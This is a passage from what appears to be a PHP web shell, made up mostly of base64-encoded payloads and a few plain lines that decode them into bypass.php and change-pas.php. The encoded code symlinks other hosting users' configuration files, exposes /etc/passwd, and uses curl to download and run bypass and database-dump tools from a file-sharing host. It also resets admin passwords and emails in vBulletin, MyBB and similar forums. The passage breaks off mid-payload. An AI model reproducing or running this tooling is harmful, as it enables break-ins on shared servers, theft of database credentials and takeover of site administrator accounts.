TDNOMVltMXBkSFJwWTJ0bGRDNXdhSEFuTENScmIyeGhMaWN0ZDJodFkzTXlMblI0ZENjcE93cHplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MGN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWpiR2xsYm5SekxuUjRkQ2NwT3dwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlkyeHBaVzUwTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdOc2FXVnVkQzUwZUhRbktUc0tjM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMk5zYVdWdWRHVnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV05zYVdWdWRITXVkSGgwSnlrN0NuTjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOWlhV3hzYVc1bkwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXSnBiR3hwYm1jdWRIaDBKeWs3SUFwemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXRnVZV2RsTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdKcGJHeHBibWN1ZEhoMEp5azdJQXB6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YlhrdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdFltbHNiR2x1Wnk1MGVIUW5LVHNnQ25ONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dGVYTm9iM0F2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0WW1sc2JHbHVaeTUwZUhRbktUc2dDbjBLYVdZZ0tDUkZUbFo3SjFKRlVWVkZVMVJmVFVWVVNFOUVKMzBnWlhFZ0oxQlBVMVFuS1NCN0NpQWdjbVZoWkNoVFZFUkpUaXdnSkdKMVptWmxjaXdnSkVWT1Zuc25RMDlPVkVWT1ZGOU1SVTVIVkVnbmZTazdDbjBnWld4elpTQjdDaUFnSkdKMVptWmxjaUE5SUNSRlRsWjdKMUZWUlZKWlgxTlVVa2xPUnlkOU93cDlDa0J3WVdseWN5QTlJSE53YkdsMEtDOG1MeXdnSkdKMVptWmxjaWs3Q21admNtVmhZMmdnSkhCaGFYSWdLRUJ3WVdseWN5a2dld29nSUNna2JtRnRaU3dnSkhaaGJIVmxLU0E5SUhOd2JHbDBLQzg5THl3Z0pIQmhhWElwT3dvZ0lDUnVZVzFsSUQxK0lIUnlMeXN2SUM4N0NpQWdKRzVoYldVZ1BYNGdjeThsS0Z0aExXWkJMVVl3TFRsZFcyRXRaa0V0UmpBdE9WMHBMM0JoWTJzb0lrTWlMQ0JvWlhnb0pERXBLUzlsWnpzS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c0tJQ0FrZG1Gc2RXVWdQWDRnY3k4bEtGdGhMV1pCTFVZd0xUbGRXMkV0WmtFdFJqQXRPVjBwTDNCaFkyc29Ja01pTENCb1pYZ29KREVwS1M5bFp6c0tJQ0FrUms5U1RYc2tibUZ0WlgwZ1BTQWtkbUZzZFdVN0NuMEthV1lnS0NSR1QxSk5lM0JoYzNOOUlHVnhJQ0lpS1hzS2NISnBiblFnSndvOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJaUJpWjJOdmJHOXlQU0lqTURBd01EQXdJajRLUEhOd1lXNGdjM1I1YkdVOUluUmxlSFF0WkdWamIzSmhkR2x2YmpvZ2JtOXVaU0krUEdadmJuUWdZMjlzYjNJOUlpTXdNRVpHTURBaVBuTjViV3hxYm1zZ1lXeHNJR052Ym1acFp6d3ZabTl1ZEQ0OEwzTndZVzQrUEM5aFBpQUtQR1p2Y20wZ2JXVjBhRzlrUFNKd2IzTjBJajRLUEhSbGVIUmhjbVZoSUc1aGJXVTlJbkJoYzNNaUlITjBlV3hsUFNKaWIzSmtaWEk2TVhCNElHUnZkSFJsWkNBak1EQkdSa1pHT3lCM2FXUjBhRG9nTlRRemNIZzdJR2hsYVdkb2REb2dOREl3Y0hnN0lHSmhZMnRuY205MWJtUXRZMjlzYjNJNkl6QkRNRU13UXpzZ1ptOXVkQzFtWVcxcGJIazZWR0ZvYjIxaE95Qm1iMjUwTFhOcGVtVTZPSEIwT3lCamIyeHZjam9qTURCR1JrWkdJaUFnUGp3dmRHVjRkR0Z5WldFK1BHSnlJQzgrQ2ladVluTndPenh3UGdvOGFXNXdkWFFnYm1GdFpUMGlkR0Z5SWlCMGVYQmxQU0owWlhoMElpQnpkSGxzWlQwaVltOXlaR1Z5T2pGd2VDQmtiM1IwWldRZ0l6QXdSa1pHUmpzZ2QybGtkR2c2SURJeE1uQjRPeUJpWVdOclozSnZkVzVrTFdOdmJHOXlPaU13UXpCRE1FTTdJR1p2Ym5RdFptRnRhV3g1T2xSaGFHOXRZVHNnWm05dWRDMXphWHBsT2pod2REc2dZMjlzYjNJNkl6QXdSa1pHUmpzZ0lpQWdMejQ4WW5JZ0x6NEtKbTVpYzNBN1BDOXdQZ284Y0Q0S1BHbHVjSFYwSUc1aGJXVTlJbE4xWW0xcGRERWlJSFI1Y0dVOUluTjFZbTFwZENJZ2RtRnNkV1U5SWtkbGRDQkRiMjVtYVdjaUlITjBlV3hsUFNKaWIzSmtaWEk2TVhCNElHUnZkSFJsWkNBak1EQkdSa1pHT3lCM2FXUjBhRG9nT1RrN0lHWnZiblF0Wm1GdGFXeDVPbFJoYUc5dFlUc2dabTl1ZEMxemFYcGxPakV3Y0hRN0lHTnZiRzl5T2lNd01FWkdSa1k3SUhSbGVIUXRkSEpoYm5ObWIzSnRPblZ3Y0dWeVkyRnpaVHNnYUdWcFoyaDBPakl6T3lCaVlXTnJaM0p2ZFc1a0xXTnZiRzl5T2lNd1F6QkRNRU1pSUM4K1BDOXdQZ284TDJadmNtMCtKenNLZldWc2MyVjdDa0JzYVc1bGN5QTlQQ1JHVDFKTmUzQmhjM045UGpzS0pIa2dQU0JBYkdsdVpYTTdDbTl3Wlc0Z0tFMVpSa2xNUlN3Z0lqNTBZWEl1ZEcxd0lpazdDbkJ5YVc1MElFMVpSa2xNUlNBaWRHRnlJQzFqZW1ZZ0lpNGtSazlTVFh0MFlYSjlMaUl1ZEdGeUlDSTdDbVp2Y2lBb0pHdGhQVEE3Skd0aFBDUjVPeVJyWVNzcktYc0tkMmhwYkdVb1FHeHBibVZ6V3lScllWMGdJRDErSUcwdktDNHFQeWs2ZURvdlp5bDdDaVpzYVd3b0pERXBPd3B3Y21sdWRDQk5XVVpKVEVVZ0pERXVJaTUwZUhRZ0lqc0tabTl5S0NSclpEMHhPeVJyWkR3eE9Ec2thMlFyS3lsN0NuQnlhVzUwSUUxWlJrbE1SU0FrTVM0a2EyUXVJaTUwZUhRZ0lqc0tmUXA5Q2lCOUNuQnlhVzUwSnp4aWIyUjVJR05zWVhOelBTSnVaWGRUZEhsc1pURWlJR0puWTI5c2IzSTlJaU13TURBd01EQWlQZ284Y0Q1RWIyNWxJQ0VoUEM5d1BnbzhjRDRtYm1KemNEczhMM0ErSnpzS2FXWW9KRVpQVWsxN2RHRnlmU0J1WlNBaUlpbDdDbTl3Wlc0b1NVNUdUeXdnSW5SaGNpNTBiWEFpS1RzS1FHeHBibVZ6SUQwOFNVNUdUejRnT3dwamJHOXpaU2hKVGtaUEtUc0tjM2x6ZEdWdEtFQnNhVzVsY3lrN0NuQnlhVzUwSnp4d1BqeGhJR2h5WldZOUlpY3VKRVpQVWsxN2RHRnlmUzRuTG5SaGNpSStQR1p2Ym5RZ1kyOXNiM0k5SWlNd01FWkdNREFpUGdvOGMzQmhiaUJ6ZEhsc1pUMGlkR1Y0ZEMxa1pXTnZjbUYwYVc5dU9pQnViMjVsSWo1RGJHbGpheUJJWlhKbElGUnZJRVJ2ZDI1c2IyRmtJRlJoY2lCR2FXeGxQQzl6Y0dGdVBqd3ZabTl1ZEQ0OEwyRStQQzl3UGljN0NuMEtmUW9nY0hKcGJuUWlDand2WW05a2VUNEtQQzlvZEcxc1BpSTcNCic7DQoNCiRmaWxlID0gZm9wZW4oImNvbmZpZy5pem8iICwidysiKTsNCiR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGNvbmZpZ3NoZWxsKSk7DQpmY2xvc2UoJGZpbGUpOw0KICAgIGNobW9kKCJjb25maWcuaXpvIiwwNzU1KTsNCiAgIGVjaG8gIjxpZnJhbWUgc3JjPWFsbGNvbmZpZy9jb25maWcuaXpvIHdpZHRoPTEwMCUgaGVpZ2h0PTEwMCUgZnJhbWVib3JkZXI9MD48L2lmcmFtZT4gIjsNCn0NCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE1J10pKQ0Kew0KICAgIG1rZGlyKCdieXBhc3NiaW4nLCAwNzU1KTsNCiAgICBjaGRpcignYnlwYXNzYmluJyk7DQoNCkBleGVjKCdjdXJsIGh0dHA6Ly9kbC5kcm9wYm94LmNvbS91Lzc0NDI1MzkxL2J5cGFzcy50YXIuZ3ogLW8gYnlwYXNzLnRhci5neicpOw0KQGV4ZWMoJ3RhciAteHZmIGJ5cGFzcy50YXIuZ3onKTsNCkBleGVjKCdjaG1vZCA3NTUgLi9ieXBhc3MvbG4nKTsNCkBleGVjKCcuL2J5cGFzcy9sbiAtcyAvZXRjL3Bhc3N3ZCAxLnR4dCcpOw0KICAgZWNobyAiPGlmcmFtZSBzcmM9YnlwYXNzYmluL2J5cGFzcy8xLnR4dCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQp9DQoNCmlmIChpc3NldCgkX1BPU1RbJ1N1Ym1pdDE2J10pKQ0Kew0KQG1rZGlyKCJteXNxbGR1bXBlciIpOw0KQGNoZGlyKCJteXNxbGR1bXBlciIpOw0KQGV4ZWMoJ2N1cmwgaHR0cDovL2RsLmRyb3Bib3guY29tL3UvNzQ0MjUzOTEvbXlzcWxkdW1wZXIudGFyLmd6IC1vIG15c3FsZHVtcGVyLnRhci5neicpOw0KQGV4ZWMoJ3RhciAteHZmIG15c3FsZHVtcGVyLnRhci5neicpOw0KCWVjaG8gIjxpZnJhbWUgc3JjPW15c3FsZHVtcGVyL2luZGV4LnBocCB3aWR0aD0xMDAlIGhlaWdodD0xMDAlIGZyYW1lYm9yZGVyPTA+PC9pZnJhbWU+ICI7DQp9DQo/Pg0KDQogICAgICAgIDx0ZCBjbGFzcz0ndGQnIHN0eWxlPSdib3JkZXItYm90dG9tLXdpZHRoOnRoaW47Ym9yZGVyLXRvcC13aWR0aDp0aGluJz48Zm9ybSBuYW1lPSdGMScgbWV0aG9kPSdwb3N0Jz4NCiAgICAgICAgICAgIDxkaXYgYWxpZ249J2xlZnQnPg0KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxNCcgdmFsdWU9JyAgICAgUHl0aG9uICAgICc+DQoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDEzJyB2YWx1ZT0nICAgICAgIENnaSAgICAgJz4NCiAgICAgICAgICAgICAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTEnIHZhbHVlPScgc3ltIGFsbCBjb25maWcnPg0KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMicgdmFsdWU9JyAgc3ltIGxqbmsgdXNlcic+DQoJCQkgIDxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J1N1Ym1pdDE1JyB2YWx1ZT0nICAgIC9ldGMvcGFzc3dkJz4NCgkJCSAgPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nU3VibWl0MTYnIHZhbHVlPScgIG15IHNxbCBkdW1wZXInPg0KCQkJICA8aW5wdXQgdHlwZT0nc3VibWl0JyBuYW1lPSdTdWJtaXQxMCcgdmFsdWU9J0J5IFBhc3MgU3ltLlRhcic+DQoJCQkgIDwvZm9ybT4NCiAgICA8L3RkPg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+
1726';
1727$file = fopen("bypass.php" ,"w+");
1728$write = fwrite ($file ,base64_decode($perltoolss));
1729fclose($file);
1730 echo "<iframe src=bypass.php width=100% height=720px frameborder=0></iframe> ";
1731}//end bypass
1732
1733elseif ($action == 'changepas') {
1734$file = fopen($dir."change-pas.php" ,"w+");
1735$perltoolss = 'PD9waHANCi8vQmVnaW5pbmcgb2YgQ29kaW5nDQplcnJvcl9yZXBvcnRpbmcoMCk7DQogICAgJGluZm8gPSAkX1NFUlZFUlsnU0VSVkVSX1NPRlRXQVJFJ107DQogICAgJHNpdGUgPSBnZXRlbnYoIkhUVFBfSE9TVCIpOw0KICAgICRwYWdlID0gJF9TRVJWRVJbJ1NDUklQVF9OQU1FJ107DQogICAgJHNuYW1lID0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107DQogICAgJHVuYW1lID0gcGhwX3VuYW1lKCk7DQogICAgJHNtb2QgPSBpbmlfZ2V0KCdzYWZlX21vZGUnKTsNCiAgICAkZGlzZnVuYyA9IGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7DQogICAgJHlvdXJpcCA9ICRfU0VSVkVSWydSRU1PVEVfQUREUiddOw0KICAgICRzZXJ2ZXJpcCA9ICRfU0VSVkVSWydTRVJWRVJfQUREUiddOw0KCQ0KLy9UaXRsZQ0KZWNobyAiPGhlYWQ+DQo8c3R5bGU+DQpib2R5IHsgZm9udC1zaXplOiAxMnB4Ow0KICAgICAgICAgICBmb250LWZhbWlseTogYXJpYWwsIGhlbHZldGljYTsNCiAgICAgICAgICAgIHNjcm9sbGJhci13aWR0aDogNTsNCiAgICAgICAgICAgIHNjcm9sbGJhci1oZWlnaHQ6IDU7DQogICAgICAgICAgICBzY3JvbGxiYXItZmFjZS1jb2xvcjogYmxhY2s7DQogICAgICAgICAgICBzY3JvbGxiYXItc2hhZG93LWNvbG9yOiBzaWx2ZXI7DQogICAgICAgICAgICBzY3JvbGxiYXItaGlnaGxpZ2h0LWNvbG9yOiBzaWx2ZXI7DQogICAgICAgICAgICBzY3JvbGxiYXItM2RsaWdodC1jb2xvcjpzaWx2ZXI7DQogICAgICAgICAgICBzY3JvbGxiYXItZGFya3NoYWRvdy1jb2xvcjogc2lsdmVyOw0KICAgICAgICAgICAgc2Nyb2xsYmFyLXRyYWNrLWNvbG9yOiBibGFjazsNCiAgICAgICAgICAgIHNjcm9sbGJhci1hcnJvdy1jb2xvcjogc2lsdmVyOw0KICAgIH0NCjwvc3R5bGU+DQo8dGl0bGU+RE9JS0hPTkdMVVlQSElFTiAtIFskc2l0ZV08L3RpdGxlPjwvaGVhZD4iOw0KLy9CdXR0b24gTGlzdA0KZWNobyAiPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb24nJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT12YnVsbGV0aW4gdmFsdWU9J3ZCdWxsZXRpbic+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9bXliYiB2YWx1ZT0nTXlCQic+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9cGhwYmIgdmFsdWU9J3BocEJCJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zbWYgdmFsdWU9J1NNRic+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9d2htY3MgdmFsdWU9J1dITUNTJz48aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT13b3JkcHJlc3MgdmFsdWU9J1dvcmRQcmVzcyc+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9am9vbWxhIHZhbHVlPSdKb29tbGEnPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXBocC1udWtlIHZhbHVlPSdQSFAtTlVLRSc+PGlucHV0IHR5cGU9c3VibWl0IG5hbWU9dXAgdmFsdWU9J1RyYWlkbnQgVVAnPjwvZm9ybT48L2NlbnRlcj4iOw0KZnVuY3Rpb24gdXBkYXRlKCkNCnsNCgllY2hvICJbK10gVXBkYXRlIEhhcyBEb25lIF5fXiI7DQp9DQovL3ZCdWxsZXRpbg0KaWYgKGlzc2V0KCRfUE9TVFsndmJ1bGxldGluJ10pKQ0Kew0KZWNobyAiPGNlbnRlcj48dGFibGUgYm9yZGVyPTAgd2lkdGg9JzEwMCUnPg0KPHRyPjx0ZD4NCjxjZW50ZXI+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdkJ1bGxldGluIEluZm88YnI+UGF0Y2ggQ29udHJvbCBQYW5lbCA6IFtwYXRjaF0vYWRtaW5jcDxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vaW5jbHVkZXMvY29uZmlnLnBocDxicj5pbmNsdWRlcy9pbml0LnBocCA8L2ZvbnQ+DQo8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyNGRjAwMDAnPj4+PC9mb250Pjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+IGluY2x1ZGVzL2NsYXNzX2NvcmUucGhwIDwvZm9udD4NCjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nI0ZGMDAwMCc+Pj48L2ZvbnQ+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz4gaW5jbHVkZXMvY29uZmlnLnBocDwvZm9udD48L2NlbnRlcj4NCiAgICA8Y2VudGVyPjxmb3JtIG1ldGhvZD1QT1NUIGFjdGlvbj0nJz48Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPk15c3FsIEhvc3Q8L2ZvbnQ+PGJyPjxpbnB1dCB2YWx1ZT1sb2NhbGhvc3QgdHlwZT10ZXh0IG5hbWU9ZGJodmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIG5hbWU8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1mb3J1bXMgdHlwZT10ZXh0IG5hbWU9ZGJudmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHVzZXI8YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1yb290IHR5cGU9dGV4dCBuYW1lPWRidXZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBwYXNzd29yZDxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPWFkbWluIHR5cGU9cGFzc3dvcmQgbmFtZT1kYnB2YiBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+VGFibGUgcHJlZml4PGJyPjwvZm9udD48aW5wdXQgdmFsdWU9dmJfIHR5cGU9dGV4dCBuYW1lPXBydmIgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPlVzZXIgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1hZG1pbiB0eXBlPXRleHQgbmFtZT11cnZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5OZXcgcGFzc3dvcmQgYWRtaW48YnI+PC9mb250PjxpbnB1dCB2YWx1ZT1LeW1Mam5rIHR5cGU9cGFzc3dvcmQgbmFtZT1wc3ZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5OZXcgRS1tYWlsIGFkbWluPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9eW91ci1lbWFpbEB4eHh4LmNvbSB0eXBlPXRleHQgbmFtZT1lbXZiIHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdDaGFuZ2UnID48YnI+DQogICAgICAgICAgPC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPjwvY2VudGVyPiI7DQp9ZWxzZXsNCiRkYmh2YiA9ICRfUE9TVFsnZGJodmInXTsNCiRkYm52YiAgPSAkX1BPU1RbJ2RibnZiJ107DQokZGJ1dmIgPSAkX1BPU1RbJ2RidXZiJ107DQokZGJwdmIgID0gJF9QT1NUWydkYnB2YiddOw0KICAgICAgICAgQG15c3FsX2Nvbm5lY3QoJGRiaHZiLCRkYnV2YiwkZGJwdmIpOw0KICAgICAgICAgQG15c3FsX3NlbGVjdF9kYigkZGJudmIpOw0KDQokdXJ2Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkdXJ2Yik7DQoNCiRzZXRfdXJ2YiA9ICRfUE9TVFsndXJ2YiddOw0KDQokcHN2Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkcHN2Yik7DQokcGFzc192YiA9ICRfUE9TVFsncHN2YiddOw0KDQokZW12Yj1zdHJfcmVwbGFjZSgiXCciLCInIiwkZW12Yik7DQokc2V0X2VtdmIgPSAkX1BPU1RbJ2VtdmInXTsNCg0KJHZiX3ByZWZpeCA9ICRfUE9TVFsncHJ2YiddOw0KDQokdGFibGVfbmFtZSA9ICR2Yl9wcmVmaXguInVzZXIiIDsNCg0KJHF1ZXJ5ID0gJ3NlbGVjdCAqIGZyb20gJyAuICR0YWJsZV9uYW1lIC4gJyB3aGVyZSB1c2VybmFtZT0iJyAuICRzZXRfdXJ2YiAuICciOyc7DQoNCiRyZXN1bHQgPSBteXNxbF9xdWVyeSgkcXVlcnkpOw0KJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpOw0KJHNhbHQgPSAkcm93WydzYWx0J107DQokcGFzczIgPSBtZDUoJHBhc3NfdmIpOw0KJHBhc3MgPSRwYXNzMiAuICRzYWx0Ow0KDQokc2V0X3Bzc2FsdCA9IG1kNSgkcGFzcyk7DQoNCiRsZWNvbmd0aGllbjEgPSAnVVBEQVRFICcgLiAkdGFibGVfbmFtZSAuICcgU0VUIHBhc3N3b3JkPSInIC4gJHNldF9wc3NhbHQgLiAnIiBXSEVSRSB1c2VybmFtZT0iJyAuICRzZXRfdXJ2YiAuICciOyc7DQokbGVjb25ndGhpZW4yID0gJ1VQREFURSAnIC4gJHRhYmxlX25hbWUgLiAnIFNFVCBlbWFpbD0iJyAuICRzZXRfZW12YiAuICciIFdIRVJFIHVzZXJuYW1lPSInIC4gJHNldF91cnZiIC4gJyI7JzsNCg0KJG9rMT1AbXlzcWxfcXVlcnkoJGxlY29uZ3RoaWVuMSk7DQokb2sxPUBteXNxbF9xdWVyeSgkbGVjb25ndGhpZW4yKTsNCg0KaWYoJG9rMSl7DQplY2hvICI8c2NyaXB0PmFsZXJ0KCd2QnVsbGV0aW4gdXBkYXRlIHN1Y2Nlc3MgLiBUaGFuayBLeW1Mam5rIHZlcnkgbXVjaCA7KScpOzwvc2NyaXB0PiI7DQp9DQp9DQoNCi8vTXlCQg0KaWYgKGlzc2V0KCRfUE9TVFsnbXliYiddKSkNCnsNCmVjaG8gIjxjZW50ZXI+PHRhYmxlIGJvcmRlcj0wIHdpZHRoPScxMDAlJz4NCjx0cj48dGQ+DQo8Y2VudGVyPjxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+Q2hhbmdlIE15QkIgSW5mbzxicj5QYXRjaCBDb250cm9sIFBhbmVsIDogW3BhdGNoXS9hZG1pbjxicj5QYXRoIENvbmZpZyA6IFtwYXRjaF0vaW5jL2NvbmZpZy5waHA8L2ZvbnQ+PC9jZW50ZXI+DQogICAgPGNlbnRlcj48Zm9ybSBtZXRob2Q9UE9TVCBhY3Rpb249Jyc+PGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5NeXNxbCBIb3N0PC9mb250Pjxicj48aW5wdXQgdmFsdWU9bG9jYWxob3N0IHR5cGU9dGV4dCBuYW1lPWRiaG15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5EQiBuYW1lPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9bXliYiB0eXBlPXRleHQgbmFtZT1kYm5teSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2NjY2NjsgYmFja2dyb3VuZC1jb2xvcjogI0ZGRkZGRic+PGJyPg0KICAgICAgICAgIDxmb250IGZhY2U9J0FyaWFsJyBjb2xvcj0nIzAwMDAwMCc+REIgdXNlcjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPXJvb3QgdHlwZT10ZXh0IG5hbWU9ZGJ1bXkgc2l6ZT0nNTAnIHN0eWxlPSdmb250LXNpemU6IDhwdDsgY29sb3I6ICMwMDAwMDA7IGZvbnQtZmFtaWx5OiBUYWhvbWE7IGJvcmRlcjogMXB4IHNvbGlkICM2NjY2NjY7IGJhY2tncm91bmQtY29sb3I6ICNGRkZGRkYnPjxicj4NCiAgICAgICAgICA8Zm9udCBmYWNlPSdBcmlhbCcgY29sb3I9JyMwMDAwMDAnPkRCIHBhc3N3b3JkPGJyPjwvZm9udD48aW5wdXQgdmFsdWU9YWRtaW4gdHlwZT1wYXNzd29yZCBuYW1lPWRicG15IHNpemU9JzUwJyBzdHlsZT0nZm9udC1zaXplOiA4cHQ7IGNvbG9yOiAjMDAwMDAwOyBmb250LWZhbWlseTogVGFob21hOyBib3JkZXI6IDFweCBzb2xpZCAjNjY2NjY2OyBiYWNrZ3JvdW5kLWNvbG9yOiAjRkZGRkZGJz48YnI+DQogICAgICAgICAgPGZvbnQgZmFjZT0nQXJpYWwnIGNvbG9yPScjMDAwMDAwJz5DaGFuZ2UgdXNlciBhZG1pbjxicj48L2ZvbnQ+PGlucHV0IHZhbHVlPUt5bUxqbmsgdHlwZT10ZXh0IG5hbWU9dXJteSBzaXplPSc1MCcgc3R5bGU9J2ZvbnQtc2l6ZTogOHB0OyBjb2xvcjogIzAwMDAwMDsgZm9udC1mYW1pbHk6IFRhaG9tYTsgYm9yZGVyOiAxcHggc29saWQgIzY2